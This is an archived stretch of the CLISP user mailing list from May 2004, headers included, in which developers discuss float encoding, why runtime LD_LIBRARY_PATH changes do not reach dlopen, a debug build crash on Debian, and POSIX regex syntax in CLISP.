List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 25 13:46:05 2004 X-Original-Date: Tue, 25 May 2004 16:45:20 -0400 > * Robert Brown [2004-05-25 11:16:45 -0700]: > > I would like to write a value of type single-float into an array of 8-bit > bytes using the binary format that C code would use. Something similar to: > > float foobar; > foobar = 3.14159; > memcpy(buffer, &foobar, 4); > > I can decode a single-float with integer-decode-float in order to get > the correct bits, but things get a little bit tricky when the float is > denormalized. Also, I'm unsure how integer-decode-float handles NaNs. CLISP does not support denormalized floats or NaNs > Is there a non-ANSI internal clisp function that does what I want > quickly and reliably? > > Also, given the raw bits for a floating point number, what clisp > function can be used to construct a single-float or double-float? what you want are READ-FLOAT and WRITE-FLOAT what you are asking for is implemented in the form of FLOAT->LIST and LIST->FLOAT in -- Sam Steingold (http://www.podval.org/~sds) running w2k I may be getting older, but I refuse to grow up! From brown@google.com Tue May 25 14:20:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSjLy-0000Pe-Ke for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 14:20:54 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.30) id 1BSjLy-0006jb-DS for clisp-list@lists.sourceforge.net; Tue, 25 May 2004 14:20:54 -0700 Received: from nybox3.corp.google.com.google.com (gpsi1.corp.google.com [10.3.0.251]) by 216-239-45-4.google.com (8.12.11/8.12.11) with ESMTP id i4PLKd7Z025294 for ; Tue, 25 May 2004 14:20:39 -0700 From: Robert Brown MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16563.47271.331090.513110@nybox3.corp.google.com> To: clisp-list@lists.sourceforge.net CC: In-Reply-To: References: <200405251816.i4PIGjwY027308@216-239-45-4.google.com> X-Mailer: VM 7.18 under Emacs 21.2.1 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: writing FP numbers Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 25 14:21:19 2004 X-Original-Date: Tue, 25 May 2004 17:20:39 -0400 Thanks very much! I'll take a look at the documentation and the test code. bob ==================== Sam Steingold writes: > > * Robert Brown [2004-05-25 11:16:45 -0700]: > > > > I would like to write a value of type single-float into an array of 8-bit > > bytes using the binary format that C code would use. Something similar to: > > > > float foobar; > > foobar = 3.14159; > > memcpy(buffer, &foobar, 4); > > > > I can decode a single-float with integer-decode-float in order to get > > the correct bits, but things get a little bit tricky when the float is > > denormalized. Also, I'm unsure how integer-decode-float handles NaNs. > > CLISP does not support denormalized floats or NaNs > > > Is there a non-ANSI internal clisp function that does what I want > > quickly and reliably? > > > > Also, given the raw bits for a floating point number, what clisp > > function can be used to construct a single-float or double-float? > > what you want are READ-FLOAT and WRITE-FLOAT > > > > what you are asking for is implemented in the form of FLOAT->LIST and > LIST->FLOAT in > From lisp-clisp-list@m.gmane.org Wed May 26 01:37:19 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BStuZ-0007d3-1o for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 01:37:19 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BStuY-0000IV-AO for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 01:37:18 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BStuP-0007FG-00 for ; Wed, 26 May 2004 10:37:16 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 May 2004 10:37:09 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 May 2004 10:37:09 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 23 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ffi:foreign-library doesn't find library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 01:52:22 2004 X-Original-Date: Wed, 26 May 2004 08:37:06 +0000 (UTC) Hi, I defined a set of foreign functions located in a shared library. The problem is that this library is not located in a standard place. So I looked at the code and found that (under UNIX) ffi:foreign-library uses "dlopen" such that I should be able to solve the problem by changing LD_LIBRARY_PATH variable. So I used somthing like: (system::setenv "LD_LIBRARY_PATH" (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) (ffi:def-call-out myfun (:library "libmyfun.so") ...) which change the environment variable before defining my foreign function. However, it doesn't change anything and foreign-library still complains it cannot find my library. If I change the variable before starting clisp (and remove the "setenv" LISP call), it works fine. Is this normal? Note: I'm using clisp-2.33 (RPM compiled for RH9, used under Mandrake-9.2) Thanks. Michael. From lisp-clisp-list@m.gmane.org Wed May 26 02:04:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSuKm-00033Y-ES for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 02:04:24 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSuKl-0006Jz-U0 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 02:04:24 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BSuKl-0008Bz-00 for ; Wed, 26 May 2004 11:04:23 +0200 Received: from webproxy.imec.be ([146.103.254.11]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 May 2004 11:04:22 +0200 Received: from michael.goffioul by webproxy.imec.be with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 26 May 2004 11:04:22 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Michael Goffioul Lines: 10 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 146.103.254.11 (Mozilla/5.0 (compatible; Konqueror/3.2; Linux) (KHTML, like Gecko)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ffi:foreign-library doesn't find library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 02:13:23 2004 X-Original-Date: Wed, 26 May 2004 09:04:20 +0000 (UTC) Michael Goffioul imec.be> writes: [snip] > cannot find my library. If I change the variable before starting clisp (and > remove the "setenv" LISP call), it works fine. Is this normal? Forget it. It looks like this is how LINUX works. I tried something similar in plain C, and got the same error. Michael. From hall.cj@verizon.net Wed May 26 06:01:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSy20-0005XP-43 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:01:16 -0700 Received: from out014pub.verizon.net ([206.46.170.46] helo=out014.verizon.net) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSy1z-0003CF-DW for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:01:15 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out014.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040526130114.JLLT5247.out014.verizon.net@naia.homelinux.net> for ; Wed, 26 May 2004 08:01:14 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSy1w-00008t-00 for ; Wed, 26 May 2004 03:01:12 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040526130112.GV12512@naia.homelinux.net> References: <874qq6asca.fsf@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="T4NxgPrvSrIDR5b4" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out014.verizon.net from [4.64.145.131] at Wed, 26 May 2004 08:01:13 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 06:02:03 2004 X-Original-Date: Wed, 26 May 2004 03:01:12 -1000 --T4NxgPrvSrIDR5b4 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, May 24, 2004 at 10:39:29AM -0400, Sam Steingold wrote: >=20 > $ ./configure --with-debug --build build-g > $ cd build-g > $ gdb lisp.run > (gdb) run -B . -E utf-8 -i init.lisp >=20 > and report the backtrace. >=20 > you might also try the CVS HEAD. Debian kernel 2.2.20, gcc 2.95.4, glibc 2.2. I did a checkout on 24 May and tried - it builds OK, then bombs during 'make check' with a sigsegv error. So I did the debug build (sheesh! about 3 hours on my box) and followed the above instructions. Ummm, what do you mean by a backtrace? It starts up, loads a bunch of stuff, then displays a clisp prompt. Also, the debug build finishes differently - it displays a message explaining how to see what tests failed - wanna see my tests/clos.erg? - while the normal build bombs on a sigsegv error. One thing caught my eye though: .gdbinit:139: Error in sourced command file: Function "sigsegv_handler_failed" not defined. I still have the debug build - I don't want to max out my box for 3 hours again for something I know isn't going to work ;-D - so if you'd like more info, it'll be here for a little while. >=20 > Please also do > $ gcc -o malloc unix/malloc.c > $ for x in 1000000 100000 10000 1000; do ./malloc $x; done > $ rm -f malloc > and send the results here. >=20 Sent that in a earlier post. --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --T4NxgPrvSrIDR5b4 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtJUYrZy455Pig6QRAnGvAJ926CilH+7PEJZaA+eK+VcnWoFl0QCfe3rK hf0QJpS3LrgudlEUt3SbJ/g= =si6G -----END PGP SIGNATURE----- --T4NxgPrvSrIDR5b4-- From hin@van-halen.alma.com Wed May 26 06:13:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSyE4-0008EX-K2 for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:13:44 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSyE4-0001cT-4t for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:13:44 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 2505A10DE68; Wed, 26 May 2004 09:13:40 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i4QDDdua001695; Wed, 26 May 2004 09:13:40 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i4QDDdAE001692; Wed, 26 May 2004 09:13:39 -0400 Message-Id: <200405261313.i4QDDdAE001692@van-halen.alma.com> From: "John K. Hinsdale" To: michael.goffioul@imec.be Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Michael Goffioul on Wed, 26 May 2004 08:37:06 +0000 (UTC)) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ffi:foreign-library doesn't find library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 06:14:23 2004 X-Original-Date: Wed, 26 May 2004 09:13:39 -0400 > From: Michael Goffioul > shared library. ... is not located in a standard place. under > UNIX) ffi:foreign-library uses "dlopen" ... I should be able to > solve the problem by changing LD_LIBRARY_PATH variable. > So I used somthing like: (system::setenv "LD_LIBRARY_PATH" (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) > (ffi:def-call-out myfun (:library "libmyfun.so") ...) > > However, it doesn't change anything and foreign-library still complains it > cannot find my library. If I change the variable before starting clisp (and > remove the "setenv" LISP call), it works fine. Is this normal? Yes, this is how the Linux dynamic loader works. It examines the value of $LD_LIBRARY_PATH at process startup time, and the search path seen by the loader is "frozen" for the duration of the process -- you can't modify its search path during the program by changing $LD_LIBRARY_PATH with putenv(). As you saw, changing the variable before starting CLISP will cause the CLISP process to see your desired path at process startup time and that is why it works. > Note: I'm using clisp-2.33 (RPM compiled for RH9, used under > Mandrake-9.2) It's not dependent on CLISP verson; it's a Linux/Unix thing. There are two basic workarounds for this situation: - Wrap the CLISP program in a shell script that sets LD_LIBRARY_PATH and then call CLISP from that script #!/bin/sh LD_LIBRARY_PATH=/my/special/libdir:${LD_LIBRARY_PATH} export LD_LIBRARY_PATH clisp .... - You can take advantage of the fact that dlopen() allows absolute or relative paths to be part of the library name argument. In this case you would construct in Lisp the path name to the library file so as to include to your nonstandard directory: (setf my-lib "/my/special/libdir") (ffi:def-call-out myfun (:library (string-concat my-lib "/" "libmyfun.so") ...) Neither of these is particulary elegant but they do work. I'm not sure why the Linux/Unix designers have the shared library loader "freeze" the load path at start time, whether that is considered a good thing or if it was hard to implement otherwise. [Years ago I had to deal w/ OS/2 where the library path (DLLPath) was set and frozen systemwide at BOOTUP!!] --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Wed May 26 06:36:43 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSyaJ-0003z1-4a for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:36:43 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BSyaI-0002Cj-4v for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 06:36:42 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BSyaG-0005BR-00; Wed, 26 May 2004 09:36:41 -0400 To: clisp-list@lists.sourceforge.net, Michael Goffioul Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Michael Goffioul's message of "Wed, 26 May 2004 08:37:06 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Michael Goffioul Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: ffi:foreign-library doesn't find library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 06:37:15 2004 X-Original-Date: Wed, 26 May 2004 09:36:40 -0400 > * Michael Goffioul [2004-05-26 08:37:06 +0000]: > > (system::setenv "LD_LIBRARY_PATH" > (string-concat "./lib:" (ext::getenv "LD_LIBRARY_PATH"))) please do not use functions in SYS. . -- Sam Steingold (http://www.podval.org/~sds) running w2k Garbage In, Gospel Out From hall.cj@verizon.net Wed May 26 07:58:39 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BSzrN-0005ED-Oq for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 07:58:25 -0700 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1BSzrM-00011v-HO for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 07:58:24 -0700 Received: from naia.homelinux.net ([4.64.145.131]) by out005.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20040526145822.SWFO1603.out005.verizon.net@naia.homelinux.net> for ; Wed, 26 May 2004 09:58:22 -0500 Received: from rocktiger by naia.homelinux.net with local (Exim 3.35 #1 (Debian)) id 1BSzrJ-0000yV-00 for ; Wed, 26 May 2004 04:58:21 -1000 To: clisp-list@lists.sourceforge.net Message-ID: <20040526145820.GW12512@naia.homelinux.net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="41bjdpi19TcwJlr2" Content-Disposition: inline User-Agent: Mutt/1.3.28i From: Chris Hall X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [4.64.145.131] at Wed, 26 May 2004 09:58:22 -0500 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Regexps w/clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 07:59:09 2004 X-Original-Date: Wed, 26 May 2004 04:58:21 -1000 --41bjdpi19TcwJlr2 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Now that I have successfully built my clisp 2.29 w/regexp and tried a few out, I must admit to a little bafflement. Based on the information I've been able to gather, the clisp regexp package uses the host OS's regexp engine, and on FreeBSD and Debian, from what I can find, that is also what grep uses - on both Debian and FreeBSD, grep is GNU grep. So if I can match a pattern using grep -E (aka egrep?) on a file, it seems reasonable to expect that the same pattern should work similarly when moved into a regexp-quoted regex-compiled with :EXTENDED and run against that same file. Except it doesn't seem to. Using the pattern '<[/]?issuer(.*)?>' grep will pick out each appropriate line in the following data on both platforms: 0 0000351077 CITIZENS BANKING CORP CBCF while clisp returns NIL. It is my understanding that clisp should return the 'co-ordinates' of at least the leading tags, and for now that is OK - I am trying to learn the clisp regex 'flavor'. I've tried quoting by hand as well, since regexp-quote produces this: "<\\[/\\]?issuer(\\.\\*)+>", i.e., ?()+ don't seem to be considered special. Hand quoting didn't seem to make any difference in this case, though sometimes grouping w/parens does seem to work in clisp. I already have some useful regexes to do what I want on this data that run in production under awk and/or guile - I can pretty much just cut and paste expressions from one to the other. I realize that regexes don't always 'port' well (heh!), but I *would* like to use clisp for this, so any insight anybody has to offer would be much appreciated. I've already read everything I could find in the clisp Extensions pages, so any pointers to further information would also be warmly received. Aloha, +Chris --=20 Good judgment comes from experience. Experience comes from bad judgment. - Jim Horning --41bjdpi19TcwJlr2 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQFAtLCMrZy455Pig6QRAl6TAJsFPrtZxJ7m0FwrbYKPzvhbtngXsgCdFFBS VsR1DYV/9wn4vHfSycsIrEQ= =0X7q -----END PGP SIGNATURE----- --41bjdpi19TcwJlr2-- From hin@van-halen.alma.com Wed May 26 09:02:22 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BT0rF-0003lH-JA for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 09:02:21 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BT0rE-0003Bv-Nc for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 09:02:20 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 5D48510DE30; Wed, 26 May 2004 12:02:16 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i4QG2Gua004298; Wed, 26 May 2004 12:02:16 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i4QG2Fgo004295; Wed, 26 May 2004 12:02:15 -0400 Message-Id: <200405261602.i4QG2Fgo004295@van-halen.alma.com> From: "John K. Hinsdale" To: hall.cj@verizon.net Cc: clisp-list@lists.sourceforge.net In-reply-to: <20040526145820.GW12512@naia.homelinux.net> (message from Chris Hall on Wed, 26 May 2004 04:58:21 -1000) Subject: Re: [clisp-list] Regexps w/clisp X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 09:03:14 2004 X-Original-Date: Wed, 26 May 2004 12:02:15 -0400 > Now that I have successfully built my clisp 2.29 w/regexp and tried a Before I answer your regex question, I should second Sam's point that 2.29 is not a great CLISP to be running. If you can get the latest one you will be much happier. On the other hand, in this case I believe the regex question is applicable going back to 2.29 so I will try to answer it. > Based on the information I've been able to gather, the clisp regexp > package uses the host OS's regexp engine, and on FreeBSD and Debian, It's noted in the CLISP docs at http://clisp.cons.org/impnotes/modules.html#regexp that "The REGEXP module implements the POSIX regular expressions" w/ a link to the CLISP page w/ the POSIX syntax: http://clisp.cons.org/impnotes/regexp.html You should check out this page in detail if you have not already. > from what I can find, that is also what grep uses - on both Debian and > FreeBSD, grep is GNU grep. No I don't believe GNU grep uses the POSIX syntax > Using the pattern '<[/]?issuer(.*)?>' grep Posix requires that the "?" question-mark quantifier as well as the group parentheses be preceded by a backslash. See the syntax page at http://clisp.cons.org/impnotes/regexp.html > I am trying to learn the clisp regex 'flavor'. I think it is POSIX which is different from GNU grep. > I've tried quoting by hand as well, since regexp-quote produces this: > "<\\[/\\]?issuer(\\.\\*)+>", i.e., ?()+ don't seem to be considered I think this will do what you want: (setf patt "<[/]\\?issuer\\(.*\\)\\?>") (regexp:match patt "CITIZENS BANKING CORP") Note that the backslashes are doubled so that the literal string assigned to "patt" is: <[/]\?issuer\(.*\)\?>") and the ? quantifier and grouping parens are preceded by backslash > I already have some useful regexes to do what I want on this data that > run in production under awk and/or guile - I can pretty much just cut > and paste expressions from one to the other. There is a module called "pcre" (Perl-Compatible Regular Expressions) that will use regex syntax ala perl. I prefer this actually, mainly because perl's syntax avoids what Larry Wall called "backslashitis", an overabundance of backslashes which under POSIX appear in the very commonly used operators. Adding to this the fact that to get a backslash INTO a literal string (in perl, C, lisp) you have to double it as "\\" then you go crazy. Perl's syntax considers the special operators like ? to be special by DEFAULT and if you want them literally THEN you must quote them. I think the POSIX designers did this because it is conceptually more elegant and consistent to have all regex operators be escaped w/ backslash, but then it looks like hell when you actually use it. Sam: the syntax page at: http://clisp.cons.org/impnotes/regexp.html should probably say it's POSIX, and draw a distinction b/w other syntaxes (GNU grep, perl, etc.) I agree all this different syntaxes are reall pain --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Wed May 26 10:59:32 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BT2gd-0004Dc-5J for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 10:59:31 -0700 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1BT2gc-0006PX-PQ for clisp-list@lists.sourceforge.net; Wed, 26 May 2004 10:59:30 -0700 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #7) id 1BT2gc-0002ga-00; Wed, 26 May 2004 13:59:30 -0400 To: clisp-list@lists.sourceforge.net, Chris Hall Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20040526130112.GV12512@naia.homelinux.net> (Chris Hall's message of "Wed, 26 May 2004 03:01:12 -1000") References: <874qq6asca.fsf@naia.homelinux.net> <20040526130112.GV12512@naia.homelinux.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Chris Hall Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Build problem on Debian Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 26 11:00:14 2004 X-Original-Date: Wed, 26 May 2004 13:59:29 -0400 > * Chris Hall [2004-05-26 03:01:12 -1000]: > > Debian kernel 2.2.20, gcc 2.95.4, glibc 2.2. these all are somewhat old. gcc 2.95 is known to have bugs which prevent correct building of CLISP. IIRC, (print 1 2) crashes or something. > I did a checkout on 24 May and tried - it builds OK, then bombs during > 'make check' with a sigsegv error. this is not helpful. you should at least include the full error message with several preceding lines which will let us identify the failed test. > Ummm, what do you mean by a backtrace? "where" or "backtrace" output of gdb after a crash. > Also, the debug build finishes differently - it displays a message > explaining how to see what tests failed - wanna see my tests/clos.erg? yes, of course. if it is 10 lines, just send it here. if it is long, send here the URL. > - while the normal build bombs on a sigsegv error. which test? what happens when you disable the failed test? > .gdbinit:139: Error in sourced command file: > Function "sigsegv_handler_failed" not defined. that's fine - it just means that you are using a debug build without generational gc. -- Sam Steingold 